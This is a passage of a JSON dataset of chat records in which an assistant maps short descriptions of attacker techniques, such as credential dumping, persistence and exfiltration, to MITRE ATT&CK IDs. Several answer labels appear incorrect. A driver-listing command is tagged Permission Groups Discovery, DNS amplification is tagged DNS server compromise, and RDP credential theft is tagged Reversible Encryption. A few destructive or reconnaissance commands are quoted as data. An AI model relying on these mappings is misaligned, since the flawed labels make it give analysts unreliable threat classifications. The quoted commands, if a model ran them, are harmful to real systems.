                "content": "The threat actor obtains the NTDS.dit file via volume shadow copy and extracts Kerberos tickets."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the operator runs a PowerShell command to dump the LSA Secrets and retrieve stored passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software writes a launch daemon plist that uses the ProgramArguments array to execute a bash script on startup."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses the Windows API function WriteProcessMemory to modify the memory of another process."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware issued a 'DeleteObject' call to the S3 bucket, removing stored files."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code checks the %USERPROFILE% path to infer the current user's home directory."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor uses compromised credentials to create a new Microsoft 365 mail account for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses 'plink.exe' to run commands over an SSH tunnel on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware runs the command ‘driverquery /v /fo list’ to list loaded drivers and their properties."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deploy an internal proxy on a legitimate corporate host to relay C2 communications, making detection difficult."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a privilege‑escalated tool to capture LSASS memory contents."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit insecure permissions on a Google Cloud Functions deployment to execute malicious scripts."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors craft silver tickets by leveraging extracted service account hashes to authenticate as privileged services."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Outlook Forms, the threat actor inserts a macro that executes a PowerShell command to exfiltrate data each time Outlook is launched."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit gathers details about hardware drivers by reading the /proc/modules file on Linux."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performed a DNS amplification attack using the victim's DNS server as a reflector."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary altered the load balancer configuration to route traffic through a compromised backend server."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sends a remote PowerShell command 'Stop-Computer -Force' to shut down the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing implant harvests RDP credentials, encrypts them with a reversible cipher, and writes them to a hidden file."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the krb5kdc process, attackers generate forged tickets that grant admin rights across the domain."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat leverages domain fronting by setting the SNI to a known trusted domain while the HTTP request points to a malicious payload hosted on a different server."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers accessed a Linux server via an exposed Docker API, pulling malicious images that created a hidden user account."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the CRT.sh certificate transparency logs to find DNS entries associated with newly issued certificates for the target organization."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses SQL Server stored procedures such as xp_cmdshell to execute arbitrary system commands on the database host."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider places a bootable USB stick on a shared workstation to siphon employee files."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign involved cleaning executable headers of any unique markers that could reveal the tool's origin."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a wiper tool to corrupt the master boot record, making the system unbootable."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors modify the cron table on a compromised Linux host to execute a downloader script every hour."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script forces the browser to downgrade HTTPS connections to SSL 3.0."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder introduces a rogue DHCP service that assigns a gateway under the attacker's control, allowing them to sniff and modify internal communications."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the adversary used the cacls command to grant modify rights on the Windows Event Log files."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers drop a payload and then create a scheduled job using 'at' to execute it after system reboot."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor creates an autostart entry using the XDG standard, causing their script to run each time the desktop environment starts."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom network provider DLL is deployed to the victim machine, modifying how credentials are processed and sent."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attack script automates the replacement of the current system image with a downgraded one stored on a hidden partition."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performs process injection via APC by queuing malicious code to a thread that later resumes execution."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a malicious PowerShell payload to enumerate and harvest cryptocurrency wallet addresses from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the legitimate system binary cmstp.exe, the intruder proxies execution of a malicious DLL payload disguised as a network configuration file."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a mail rule that runs a scheduled task to download and execute a payload whenever a calendar invite is received."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses a compromised cloud function to serve malicious scripts to targeted users."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves replacing the boot sector of a hard drive with a malicious sector that chains to a payload before Windows starts."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses the SMB protocol to perform a lateral file copy of a malicious payload to a domain controller."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor applies a signed update to the system’s firmware, embedding backdoor functionality."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion into a managed service provider's software deployment pipeline allowed attackers to embed a remote access tool into the software delivered to multiple client organizations."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by adding a rogue Security Support Provider to the 'Security Packages' registry entry."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in an Office document extracts a hidden payload from an embedded PNG that was used as a steganographic carrier."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During reconnaissance, the malware contacts a remote endpoint and records the source IP from the HTTP headers to map the internet connection."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits exposed CHARGEN services by sending small requests with the victim's IP spoofed, causing the services to send large amounts of random data back to the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the encrypted credentials stored in Chrome's 'Login Data' and uses the user’s DPAPI master key to decrypt them."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers scrape LinkedIn profiles and corporate press releases to map out the organizational hierarchy of the victim firm."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor employs the PubPrn script proxy to bypass security controls and run code."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sent spear‑phishing emails containing links to a counterfeit LinkedIn sign‑in page to harvest account credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware utilizes Windows Management Instrumentation (WMI) to invoke a script stored in the Windows Registry, executing it in a fileless manner."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary extracts password hashes directly from the NTDS.dit file on a domain controller using a tool like vssadmin to create a shadow copy."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages the Windows screensaver feature to execute a backdoor binary when the system reaches the lock screen."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the Linux kernel image on disk to inject backdoor code."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script calls 'systemctl poweroff' on a compromised Linux host to cause a reboot."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables Windows Defender by modifying registry keys to turn off real-time protection."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors perform a subdomain takeover by creating a CNAME record pointing to a cloud service they control after the original service was deleted."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary clears Windows Event Logs to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a user‑mode APC to run malicious code within the address space of a victim process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Event Triggered Execution: Accessibility Features technique, attackers cause code execution when users enable or disable high-contrast mode."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs 'wmic nic get MACAddress, Speed' to discover network interface details."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code performs a checksum of its own code segment; if the checksum does not match, it assumes a debugger has altered the code."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors launch an application exhaustion flood by repeatedly submitting large payloads to a file-upload endpoint, filling up disk space and memory resources."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using SeBackupPrivilege, the malicious code copies the SECURITY hive and extracts the LSA secrets."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group creates a hidden bucket in an unused Tencent Cloud region to store stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script calls Get-ADGroupMember to retrieve members of privileged groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows Event Viewer GUI to manually clear the System, Application, and Security logs after exfiltrating data."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware executes DNS queries for subdomains that encode encryption keys, then decodes the keys for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a malicious DLL by invoking cmstp.exe with a crafted INF file to bypass application control."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs Mavinject to inject a malicious DLL into a legitimate svchost.exe process, using System Binary Proxy Execution to run code stealthily."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes Outlook Forms to load a .dll through the Form's custom script, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware scans Outlook instant messaging archives for plaintext authentication details to reuse in lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary hides its network traffic by tunneling through legitimate HTTPS connections."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware discovers an open SMB share, extracts customer data, and sends it to an external IP."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
